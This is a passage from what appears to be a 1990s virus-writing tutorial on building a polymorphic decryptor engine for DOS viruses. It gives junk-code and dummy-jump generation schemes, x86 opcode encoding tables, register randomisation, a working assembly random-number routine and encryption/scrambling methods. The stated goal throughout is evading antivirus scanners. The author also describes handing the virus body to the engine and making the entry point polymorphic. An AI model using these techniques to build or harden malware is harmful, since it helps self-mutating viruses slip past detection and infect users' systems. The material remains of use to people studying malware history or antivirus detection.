This gives us 3 more bytes, making the loop jump go up to 13 bytes. As you can see, I consider that the poly engine should drop directly values into the decryptor, so you don't have to mess up with things like: mov bx, [bp + 0542] Instead, the engine will compute how much BP+0542 is and will put the value there. This helps us in many directions. First of all, the AV's are hunting for stuff like [BP+...], because it's the mose used way of holding the Delta handle. But if we don't use it in our main decryptor, we can safely use it in our junk instructions !! This bring us again to messing up the AV. Check the Armouring chapter for more. And last: I let the PUSH CS and RET instructions like they are, but these can be coded in different ways too. Use your imagination ! In this area you can make whatever you want and desire. Any other combinations can be added. After this is done, we can surely compute the length of our main decryptor. So let's do it: Main decryptor length = 11+11+1+8+4+4+6+6+3+6+9+9+8+8+10 = 104 bytes So, our decryptor with some junk in it is 104 bytes. To this we should add the unscramble procedure with which we shall deal later. Now, only by permuting the instructions between them and adding the extra junk code into it, we have an almost good poly decryptor. But we don't wanna stop here ! Before jumping to generating instruction we should take a peek to...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³ Creating junk instructions ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe way to do this is: In our code we have 16 sets of intructions we have to put garbage after and we also should put garbage before the first instruction. Studying the code I came up with this situation: Bewteen ³ Nr. of junk instruction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0 Ä 1 ³ 15 to 20 1 Ä 2 ³ 10 to 15 2 Ä 3 ³ 0 3 Ä 4 ³ 10 to 15 4 Ä 5 ³ 10 to 15 5 Ä 6 ³ 5 to 10 6 Ä 7 ³ 10 to 15 7 Ä 8 ³ 15 to 20 8 Ä 9 ³ 5 to 10 9 Ä 10 ³ 5 to 10 10 Ä 11 ³ 10 to 15 11 Ä 12 ³ 10 to 15 12 Ä 13 ³ 10 to 15 13 Ä 14 ³ 10 to 15 14 Ä 15 ³ 10 to 15 15 Ä 16 ³ 10 to 15 16 Ä end ³ 15 to 20 (+ the rest) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is just my ideea, you can come up with something else. So let's see which is the maximum amount of junk instructions we can have. It's 15*10 + 10*3 + 20*3 = 150 + 30 + 60 = 240 junk instructions. If we consider the longest junk instruction as being 4 bytes long, then we'll have a maximum junk code of 4*240 = 960 bytes. This would make our decryptor 960 + 104 = 1064 bytes long. The more junks you want to put in the biggest the code will get. How do we pick them ? Very simple. First we get a random number between the limits. Then we make a loop to generate that amount of junk instructions. For each we take a random between 1-4 which gives us the length of the instruction. Then we take randomly one of that instruction type (looking carefully to do not repeat the same instruction one after another - which is kinda impossible). After we did this for all the code, because of the fact that we use random numbers, it is virtualy imposible to get the maximum of junks for each interval. Therefore at the end we will have 960 total junks from which we only created a X nr. of junks. All we have to do then is create an amount Y = 960-X and put them after the last instruction. This is what I meant when I said (+the rest). Now, one important thing. As you will see further, the 2, 3 and 4 bytes long instructions are much more soffisticated and make much mess. That's why I suggest you to make a probability of 10% for 1 byte instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes instructions. I thought of this taking into account that within the code you already inserted a lot of 1 byte junks. You can also create 4 byte garbage, by overriding the three byte ones (you'll see how). Let's check a little the types of junk we can use. I said that we can

have a maximum 3 byte length instruction. I said so, because it's kinda hard to generate 4 or 5 bytes instructions and still keep the code small. [a]

1 byte instructions ^^^^^^^^^^^^^^^^^^^ CLI ¿ STI ³ CLD ³ STD Ã affect CLC ³ flags STC ³ CMC ³ SAHF -

DEC AX DEC AH INC AX INC AH LAHF

¿ ³ Ã affect AX ³ -

About creating 2, 3 and 4 byte instructions it goes like this (but this is not a rule, you'll have to read further): * the 2 byte ones are the register to register instructions * the 3 byte ones are usualy imm8 to register * the 4 byte ones are usualy imm16 to register and mem operations Remember we have two junk registers: AX and one pointer register (DI or SI). In the cases presented above (which you'll see further why are they two bytes long), the 'reg' can be either AX or the jprg. And we also have AX divided into AH and AL. We can perform any opperation over AH and AL, the second register being any of the other 8 bit registers. This is a rule:junk registers are used for junk instruction, but we have exceptions from that. Here are cases when you can use them with any register: * * * * *

if cl/imm = 0 you can ROR/ROL/SHR/SHL any register if imm = 0 you can ADD/SUB/AND/OR/XOR any register if reg1=reg2 you can XOR any register you can perform TEST/CMP on any register you can XCHG any register with itself

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Creating calls to dummy routines ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe creation of dummy routines and jumps is a very interesting feature and is very good at messing up the AV's. What we should basically look at are these: CALL xxxx JMP xxxx J___ xxxx (conditional jumps) RET First, when we are about to create junk code we decide if: A) we'll use CALL's B) we'll use JMP's C) we'll use both From the beginning I'll tell you that using only calls is bad. Why ? Simple... Our code goes line by line, right ? Imagine this situation:

(*)

Call _label ... ...

Type 1 Dummy Call

_label: ... ... Ret When Ret is reached, the IP returns at the (*), but after a while the Ret is reached again and here goes chaos. Or let's look at this: (*) _label: ... ... Ret ... ... Call _label

Type 2 Dummy Call

This is also bad, because as the code is executed, it goes from (*) and reaches the Ret... Again chaos. We cannot skip the Ret's (even if we replace them with some POP's, because the code still we'll come over the CALL again. Only in the first case we can POP the CS:IP and get it over with, but it's dangerous. AV's may notice that a CALL was made and there wasn't any RET for it...) How can we solve this ? First method: Use only JMPS. The creation of a jump is really easy. All you do is put the opcode of an absolutely random kind of jump and then a zero word and remember the place of that word. You must see that the jmp is not in the last part of the junk code ! Then, create the rest of the junk, by recording the length in bytes of the junk after the JMP. This is done easily. As soon as one instruction is generated, add it's length to a register. After you're done with three, four, five or even more instructions, just go back to the place where you wrote the 0 and write the length recorded. This length is equal to the offset of the jump destination minus jump offset minus 2 (in the case of 8bit displacement). Let's take an example: 0100 0102 0104 0107 0108

EB06 A800 2D2310 FB 83E701

Jae 0108 Test al, 00 Sub ax, 1023h Sti And di, 1

So we have 'A8 00 2D 23 10 FB' - 6 Bytes -> other junk 'EB 06' - 2 Bytes -> JMP code 06 = 108 - 100 - 2 It is very important to compute very corectly the jump destination. You cannot make it random ! Imagine you wrote JAE 105 instead of JAE 108. The code would go directly to '23 10' (e.g. add dx, [bx+si]), messing all up. What I described above is a jump 'downwards' the code. In order to make a jump 'upwards' the code, take this example: 0100 0102 0106 0109

A800 81EB0001 B81000 EBF5

Test al, 0 Sub bx, 100 Mov ax, 10 Jmp 100

In order to generate this call we have the following fomula: Jump length = jump address - destination address + 2.

In our example: 109 - 100 + 2 = 11 Then we simply negate this number: 11 = 0Bh -11 = F5h (which is exactly what apperes in the opcode: EBF5) Use all kinds of jumps, especially conditional ones, because as this is junk code, it doesn't really matter if the jump is done or not. You really need to use the JMP instruction if you decide to take the other way: Using Calls and Jmps. I showed you how a Call cannot be created into a code that goes normaly because it will hang. Here comes the JMP to help us. So, your random routine decided that you will use CALL+JMP. Then your random routine must decide which kind of CALL it will make (as in the examples above). Let's analyse the two examples and see how the JMP solves the problem: Call _label ... Jmp _label2 ... _label: ... Ret ... _label2:

Type 1 Dummy Call & Jmp

(*)

--------------------------(*) ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label

Type 2 Dummy Call & Jmp

So, what the JMP actually does is avoid the second passing across the Ret instruction. In the first case: * Write CALL 0000 * Write JMP 0000 * Compute _label and change the CALL accordingly * Write the Ret * Compute the _label2 and change the JMP accordingly In the second case: * Write Jmp 0000 * Write the Ret * Compute _label2 and change the JMP * Write Call _label (you know _label already) Of course, between these instructions you can let your imagination run free. I would suggest to put in the '...' place a random number of instructions which would vary from 1 to 5.

Now, a really wonderful thing is to 'remember' such a CALL you created during the junk code generation and 'come back' to it. That is, you create a type 2 call and you keep the _label stored somewhere. Then, when you want to create another dummy call you just create the CALL instruction and put the _label as the address. This saves time in creating junk routines. Here is an ideea about how it would look: ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label ... ... Call _label This is easily done and creates a better image of a structured program. Of course, in the '...' place you'll have both junk instructions as well as parts of the real decryptor.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Creating dummy interupt calls ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄHere is a list of interrupts you can insert into your code and how they would afect registers (in brankets): * INT 21h, with the following AH contents: -

0Bh 0Dh 19h 4Dh

-

get input status (AL) flush buffers (none) get current disk (AX) get terminate status (AX)

* INT 10h, with the following AH contents: - 08h - read char from cursor (AX) - 0Dh - read pixel from screen (AL) So, all you have to do is generate a Mov ah, xx and then an INT. Very simple and very effective (most scanners die under these). But beware, many people are tempted to use dummy calls like INT03 or INT01. Don't do this. This is flaged by most AV's. This goes into the Armouring section, which we'll discuss later.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Getting random registers ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄWe'll talk later about the random number routine. But first let's see how we store the order of our registers. We have the following notations: reg field - a code that keeps the register to be used sreg field - a code that keeps the segment register r/m field - how is the instruction made (based, indexed, etc.)

mod field - who makes the indexing (i.e. DI, BP, etc.) dir field - the direction w field - word mark reg field: ~~~~~~~~~~ AX or AL CX or CL DX or DL BX or BL SP or AH BP or CH SI or DH DI or BH -

000 001 010 011 100 101 110 111

= = = = = = = =

0 1 2 3 4 5 6 7

When coding an instruction where word or byte registers could be involved, they way too see which is the case is the 'w' bit. If it's 1 then we are talking word registers. If it's 0 we use byte registers. sreg field ~~~~~~~~~~ ES - 001 = CS - 011 = SS - 101 = DS - 111 =

1 3 5 7

r/m field ~~~~~~~~~ 00 - based or indexed 01 - based or indexed with a 8-bit displacement 10 - based or indexed with a 16-bit displacement 11 - two register expresion mod field (if r/m is based or indexed) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 000 - [BX+SI] 001 - [BX+DI] 010 - [BP+SI] 011 - [BP+DI] 100 - [SI] 101 - [DI] 110 - IF R/M = 00 A DIRECT MEMORY OFFSET OTHERWISE [BP] 111 - [BX] segment overrides ~~~~~~~~~~~~~~~~~ ES - 00100110 - 26h CS - 00101110 - 2Eh SS - 00110110 - 36h DS - 00111110 - 3Eh Direction ~~~~~~~~~ If set, reg is the destination and mod is the source, otherwise it's the other way around. In order to choose a random order of the registers we must have this: reg_table: db db db db db

11011000 11100100 01111000 01101100 10011100

;bx ;bx ;cx ;cx ;dx

cx dx bx dx cx

dx cx dx bx bx

db

10110100

;dx bx cx

Just pick randomly one of the combinations and you'll have the registers to use: lreg, creg, kreg. So in a very simple way, we got our registers to use. And remember that AX is the junk register. In the same way, you can pick the pointer register leaving the other one as junk pointer register. Now let's see an example of how to generate a mov. If you disassemble a program that contains this line: MOV BX, [SI+0134h] You'll get this OpCode: 8B 9C 34 01, or: 10001011100111000011010000000001, which means: 100010 | 1 | 1 | 10 | 011 | 100 | 0011010000000001 | mov d w r/m reg mod data lets see: d (direction) = w = r/m = reg (register)= mod = data =

1, so from 'mod' to 'reg' 1 (the word bit) 10 (based with 16-bit displacement) 011 (BX) 100 ([SI]) 0134h (the 16 bit displ. added to SI)

So, in order to create a 'blank' Mov reg, [si+imm] you should have: 100010

1

1 10 000 100 0000000000000000, or

10001011 10000100 0000000000000000 ³³³ ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÄÄ-> here you put your data ³³³ ³³ÀÄÄÄÄ-\ ³ÀÄÄÄÄÄÄ-> here you put your register ÀÄÄÄÄÄÄÄ/ So what do you think this would be: 10001001100011011000000000000000 ? It would be MOV [DI+1000h], CX because: d r/m mod reg

= = = =

1 10 101 001

Now let's take all the instructions and look at each and everyone and see how are they encoded. One more thing: I stated at the beginning that I'll consider the AX the junk register because some instructions are optimized for it. As you'll se below, being given a skeleton for an instruction you can make it use any register. You can also make it use the AX, even if a compiler wouldn't generate something like that. Hope you get this... For the first instruction (MOV) I will indicate how you can calculate the length of the instruction in bytes. For the rest figure it out, it's easy ! a) The MOV instruction ~~~~~~~~~~~~~~~~~~~~~~

1) mov reg, imm 1011, w, reg, imm - if w = 0 imm is 8 bit -> 2 byte instr. - if w = 1 imm is 16 bit -> 3 byte instr. 2) mov reg, reg mov reg, mem mov mem, reg 100010, d, w, r/m, reg, mod, - if r/m = - if r/m = - if r/m =

data 00 -> 2 byte instr. 01 data is 8 bit -> 3 byte instr. 10 data is 16 bit -> 4 byte instr.

3) mov sreg, reg mov reg, sreg 100011, d, 0, 1, sreg, reg, 1 - 2 byte instruction b) The XCHG instruction ~~~~~~~~~~~~~~~~~~~~~~~ xchg reg, reg xchg reg, mem xchg mem, reg 100001, w, r/m, reg, mod, data c) The stack operations ~~~~~~~~~~~~~~~~~~~~~~~ PUSH reg - 01010, reg POP reg - 01011, reg PUSH sreg - 000, sreg, 10 POP sreg - 000, sreg, 11 PUSH imm - 01101000, data PUSH mem - 11111111, r/m, 110, mod, data POP mem - 1000111, r/m, 0000, mod, data PUSHA - 01100000 POPA - 01100001 PUSHF - 10011100 POPF - 10011101 d) The logical instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) XOR ~~~~~~ 1.1) XOR reg, reg 001100, d, w, 11, reg1, reg2 with the mention that d = 1 only if reg1 = reg2 1.2) XOR reg, imm 100000, w, r, 11110, reg, data with the mention that if r = 0 register is 8 bit otherwise register is 16 bit 1.3) XOR reg, mem XOR mem, reg

00110, d, w, r/m, reg, mod, data 2) OR ~~~~~ 1.1) OR reg, reg 0000100, d, w, 11, reg1, reg2 1.2) OR reg, imm 100000, w, r, 11001, reg 1.3) OR reg, mem OR mem, reg 000010, d, w, r/m, reg, mod, data 3) AND ~~~~~~ 1.1) AND reg, reg 001000, d, w, 11, reg1, reg2 1.2) AND reg, imm 100000, w, r, 11000, reg 1.3) AND reg, mem AND mem, reg 001000, d, w, r/m, reg, mod, data 4) NOT ~~~~~~ 1.1) NOT reg 1111011111010, reg 1.2) NOT mem 1111011, w, r/m, 010, mod 5) NEG ~~~~~~ 1.1) NEG reg 1111011111011, reg 1.2) NEG mem 1111011, w, r/m, 011, mod 6) TEST ~~~~~~~ 1.1) TEST reg, reg 1000010, w, 11, reg1, reg2 1.2) TEST reg, imm 1111011, w, 11010, reg, data

6) CMP ~~~~~~ 1.1) CMP reg, reg 0011101, d, w, 11, reg1, reg2 1.2) CMP reg, imm 100000, w, r, 11111, reg 1.3) CMP reg, mem CMP mem, reg 001110, d, w, r/m, reg, mod, data

e) The Arithmetic instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) ADD ~~~~~~ 1.1) ADD reg, reg 0000001, w, 11, reg, reg 1.2) ADD reg, imm 100000, w, r, 11000, reg 1.3) ADD reg, mem ADD mem, reg 000000, d, w, r/m, reg, mod 2) ADC ~~~~~~ 1.1) ADC reg, reg 0001001, w, 11, reg, reg 1.2) ADC reg, imm 100000, w, r, 11010, reg 1.3) ADC reg, mem ADC mem, reg 000100, d, w, r/m, reg, mod 3) SUB ~~~~~~ 1.1) SUB reg, reg 0010101, w, 11, reg, reg 1.2) SUB reg, imm 100000, w, r, 11101, reg 1.3) SUB reg, mem SUB mem, reg 001010, d, w, r/m, reg, mod

4) SBB ~~~~~~ 1.1) SBB reg, reg 0001101, w, 11, reg, reg 1.2) SBB reg, imm 100000, w, r, 11011, reg 1.3) SUB reg, mem SUB mem, reg 000110, d, w, r/m, reg, mod 3) INC ~~~~~~ 01000, reg16 1111111111000, reg8

4) DEC ~~~~~~ 01001, reg16 1111111011001, reg8 f) Shifting instructions ~~~~~~~~~~~~~~~~~~~~~~~~ 1) SHR ~~~~~~ 1.1) SHR reg, 1 1101000, w, 11101, reg 1.2) SHR reg, imm 1100000, w, 11101, reg 1.3) SHR reg, cl 1101001, w, 11101, reg 2) SHL ~~~~~~ 1.1) SHL reg, 1 1101000, w, 11100, reg 1.2) SHL reg, imm 1100000, w, 11100, reg 1.3) SHL reg, cl 1101001, w, 11100, reg 3) ROR ~~~~~~ 1.1) ROR reg, 1 1101000, w, 11001, reg 1.2) ROR reg, imm

1100000, w, 11001, reg 1.3) ROR reg, cl 1101001, w, 11001, reg 4) ROL ~~~~~~ 1.1) ROL reg, 1 1101000, w, 11000, reg 1.2) ROL reg, imm 1100000, w, 11000, reg 1.3) ROL reg, cl 1101001, w, 11000, reg 5) RCL ~~~~~~ 1.1) RCL reg, 1 1101000, w, 11010, reg 1.2) RCL reg, imm 1100000, w, 11010, reg 1.3) RCL reg, cl 1101001, w, 11010, reg 6) RCR ~~~~~~ 1.1) RCR reg, 1 1101000, w, 11011, reg 1.2) RCR reg, imm 1100000, w, 11011, reg 1.3) RCR reg, cl 1101001, w, 11011, reg

g) Flag instructions ~~~~~~~~~~~~~~~~~~~~ CLI - 11111010 STI - 11111011 CLD - 11111100 STD - 11111101 CLC - 11111000 STC - 11111001 CMC - 11110101 SAHF - 10011110 LAHF - 10011111 h) Jump instructions

~~~~~~~~~~~~~~~~~~~~ 1) JMP SHORT - EBh, data8 2) JMP NEAR

- E9h, data16

3) JMP FAR

- EAh, data

data is a segment:offset data in inverse format. Example: jmp far 1000:432fh = EAh, 2f43h, 0010h Now, the conditional jumps (note that data8 is a 8 bit signed number; if it's from -127 to -1 the jump is upward otherwise the jump is downward. The jump is counted from the *END* of the jump instruction. This means that a JE 00 is a jump to the next instruction below. A JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes) 4) 5) 6) 7) 8) 9) 10) 11) 12) 13) 14) 15) 16) 17) 18) 19) 20)

JBE/JNA JLE/JNG JB/JNAE/JC JL/JNGE JZ/JE JNE/JNZ JAE/JNB/JNC JGE/JNL JA/JNBE JG/JNLE JCXZ JNO JO JP/JPE JNP/JPO JNS JS

-

76h, 7Eh, 72h, 7Ch, 74h, 75h, 73h, 7Dh, 77h, 7Fh, E3h, 71h, 70h, 7Ah, 7Bh, 79h, 78h,

data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8

21) LOOP - E2h, data8 22) CALL SHORT - E8h, data8 23) RETN - C3h 24) RETF - CBh 35) IRET - CFh 36) INT - CD, data8 i) Other misc. instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) lea reg, mem 10011, d, w, r/m, reg, mod, data For example LEA DI, [BP+1000h] would be: 10011, Opcode

0, 1, 10, 111, 110, 0010 d w r/m reg mod data

After all these have been said, you are now able to create skeletons for each instruction and then fill it with the proper registers and mod's and everything. Let's say the following: kreg = CX = 00000001

creg = BX = 00000011 and we want to create: (1) (2)

XOR CX, BX MOV [DI], CX

For (1) we have the skeleton: 001100, d, w, 11, reg1, reg2 which we encode like: 00110000 11000000, and then we start to fill it: 00110000 or 00000011 -------00110011

11000000 or 00001011 -------11001011 and we have 0011001111001011 = 33CBh

For (2) we have the skeleton: 100010, d, w, r/m, reg, mod, data which we encode like: 10001000 00000000, and then start to fill: 10001000 or 00000001 -------10001001

00000000 or 00001101 -------00001101 = 1000100100001101 = 890Dh

So, we have: 33 CB xor cx, bx 89 0D mov [di], cx And a final word about all this stuff of coding here. I'm talking about segment overrides. Sometimes you may want to override the memory address with another register. This is done by inserting *before* the entire Opcode the segment override. For example if you want to turn MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh. You may put how many overrides you want, but only the last one will take effect. You can use this to turn 2 byte junk instructions into three byte junk instructions, and so on.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The Steps ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄOk, now that we know most of the things about how a polymorphic decryptor should look like, let's get deeper. 1) How to store so much information ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The answer is: Compress and Code everything. I already started this, by giving a number to each of our instructions in the main decryptor. We already created a matrix that will hold the order our instructions will be generated. We *know* which is the length of each instruction. We define it in an array. Then we need to start coding. There are not so many instructions given in all the methods we computed up there. All we have to do is give a number to each of them as soon as we meet one. Like, for example:

[1]

mov lreg, length a) push imm pop reg b) mov ax, imm mov reg, ax c) xor reg, reg xor reg, imm d) mov reg, 0 add reg, imm e) mov reg, imm

-

01h 02h 03h 04h 05h 06h 03h 07h 03h

So we can code the entire [1] instruction with all it's variants like this: 01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE where: * * * * *

the first 01 is the instruction number the first 05 gives the number of variants FF is a mark between variants FE is the mark of end of all FD marks a junk instruction

As I said, you may insert the junks between the real code randomly. This means you can permute the FD's between the FF's and get another code that does the same thing. So, the entire poly-main-decryptor will look like this: decryptor_table: db 01h, FFh, 05h, ... db 02h, FFh, ... ... db 15h, FFh, ... This cleared up how you store the instructions. You create them steb by step. Let's say you picked combination nr. 3 of the first instruction. You generate it. Then you generate random junk. Then you go onto the next instruction, and so on... Of course, before going into this you must compute the random key, keyi, startcode and length and associate for each a random number to junk them around like: if length = 1000h get a random, let's say 1234h and store it like: length = 1000h xor 1234h = 234h When you want to use the real length, just XOR again. But still, how do you code and get all that big amount of instructions with different sizes and everything ? Again: compress and code. Here is an idea: instruction_table: aa bb c d e iiiiiiiiiiiiiiiiiiiiii ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>

= instruction skeleton 1 = can be used as junk 1 = but only with jreg 1 = can use other regs if imm=0 = instruction length in bytes = instruction number

The bb can be for example a three bit nr. and hold something like this:

000 001 010 100

-

instr. instr. instr. instr.

is is is is

always 2 bytes long 2 bytes long if r/m = 00 3 bytes long if w = 0 4 bytes long if w = 1

or something like this. Here each one of you must use your imagination with only one purpose: Optimization ! The stored data must be as compressed as possible and as easy to access as possible. You should have a place with, let's say, 12 bytes, filed with 0, where you should transfer the instruction you want to create and OR it with the proper values there and then transfer it. This offers speed because you always know the source of instruction. Actually, let's look directly into the code of M.O.F. and see how it stores it's data: db 2, 01101000b, 00000000b db 1, 01011000b

;01 ;02

PUSH imm POP reg

;27 ;28

JNE RET

<snip here> db 2, 75h, 0h db 1, C3h

As you can see, the instructions are stored without any r/m, mod, or reg field filled. In order to fill up the instructions we have a so called 'filling table' which looks like this: n ? d r/m mod data16 reg1 reg2 n ! ? x xx xxx xxxxxxxxxxxxxxxx AA BB ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

second register first register data16 (0 if not necessary) (twice) mod for r/m <> 11 r/m for this instr the direction instruction type segment override instruction number

Register codification: 0000 0001 0010 0011 0100 0101 0111 1000 1111

-

? values: -

lreg creg kreg jreg preg jrpg sreg dreg none 001 010 011 100 101 111

-

a a a a a a

register/register instr. register/immediate instr. register/mem instr. one register instr. immediate only instr. memory only instr.

! values: -

00 01 10 11

-

none sreg dreg instruction is special and nothing furthure should be considered

if mod = 111 then it's actualy - 100 if preg = SI or - 101 if preg = DI. So, let's take the first instruction in our code: [1] -

mov lreg, length:

!=00 ?=010 d=0 r/m=00 mod=000 data16_1 data16_2 reg1=0000 reg2=1111

= = -

no segment override a register to immediate instr. type normal direction based no index length xor rndm rndm first register used is lreg no second register

In the first combination for the first instruction we have: push imm pop reg xor reg,rndm

01 02 03

As you can see there are 2 immediate values used. M.O.F handles this in this way (downwards). The first push is done with the first data16. The pop reg is done with the lreg and because data16_2 is not 0, the xor is done with the second data16. If data16_2 were 0 then only the first data was used. Hope you get it.

2) How do I get the randoms ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I promised I'll get back to this. Here bellow is a routine that gives you a random number between 0 and n-1. All you have to do is: mov cx, n Call random and the routine returns the random in AX. If you want a random between 0 - FFFFh just do mov cx, 0. But first of all, in order to have a really random number you should initialize the random number generator by doing a CALL RANDOMIZE. Warning: The routine assumes you have your Delta handler set, otherwise make BP = 0 !! Random nr. generator -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=rand_seed Dw 0 RANDOMIZE: ;procedure to start the Push AX CX DX ;random generator Xor AH,AH ;get timer count Int 1Ah Mov CS:[BP + rand_seed],DX ;and save it Xchg CH,CL Add CS:[BP + rand_seed_2],CX

Pop DX CX AX Ret ;-------------------------------------------------------------------------RANDOM: ; the random number generator In AL,40h ; timer, for random nr Sub AX,CS:[BP + rand_seed] Db 35h ; XOR AX, rand_seed_2 Dw 0 ; what is here Inc AX Add CS:[BP + rand_seed],AX ; change seed cmp cx, 0 je _out Call Modulo _out: Ret ;-------------------------------------------------------------------------MODULO: ; the modulo procedure ax = ax mod cx Push DX Xor DX, DX Div CX Xchg AX, DX Pop DX Ret -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3) What parameters my routine must receive and what should it return ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I suggest that the virus should move itself the code to an empty buffer, passing to the routine a pointer to that location and a length of code to be encrypted. The pointer must be at the beginning of the code to be encrypted not the beginning of all code !! So the routine should receive something like: DS:SI - pointer to code to be encrypted CX - length of code. Warning: The buffer at DS:SI must be big enough to hold the CX bytes of code *and* the decryptor. After the engine generated the decryptor it should return the length of the encrypted code + the length of the decryptor.

4) Is this all ?!? Is my code completely mutant ?!? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nope... Remember the entry point of the virus ? That place where you get the Delta Handler and then Call the decryptor ? Well, that area should be done in two ways: a) made polimorphic as well b) made very small so it doesn't flag AV's Otherwise, you've done nothing... Your decryptor is perfect, but the virus is cought by the first bytes... Handle with it... It's not hard.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The unscrambling procedure ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOk, so you wonder what is that 'CALL unscramble' I put there in the decryptor. I could as well say . There actually

the code held by the 'creg' register is modified using a math operation involving the second member, the key holder, e.g. the 'kreg' register. In old routines the encryption was made using these ways: Encrypt ³ Decrypt ÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ XOR ³ XOR ROR ³ ROL ADD ³ SUB AND ³ OR (here with some playing around) ÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ But more advanced procedures use many ways. For example, my own poly routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to encrypt the code. It uses 4 methods and in each case the methods are put in a random order. Then the words are encrypted each with another method, in the given order. After each iteration the order shifts and the key is increased. Therefore, we cannot decrypt the code by a simple math operation. If your virus is a small one you may consider a DIV/MUL procedure, but this is very slow. But if your virus is small you may consider an AND/OR scrambling procedure. This is done like this: c = code to be encrypted k = encryption key k' = NOT k E1 = c AND k E2 = c AND k' In your code you store E1 and E2 (there by obtaining an encrypted length = original length * 2). To restore the code simply do: c = E1 or E2. Check it: 1000 and 2222 = 168 NOT 2222 = -2223 1000 and -2223 = 832 ---------------------168 or 832 = 1000 So, the thing is you should have a separate unscrambling procedure. Therefore, here is how I see the polymorphic decryptor that a good engine should create: EM 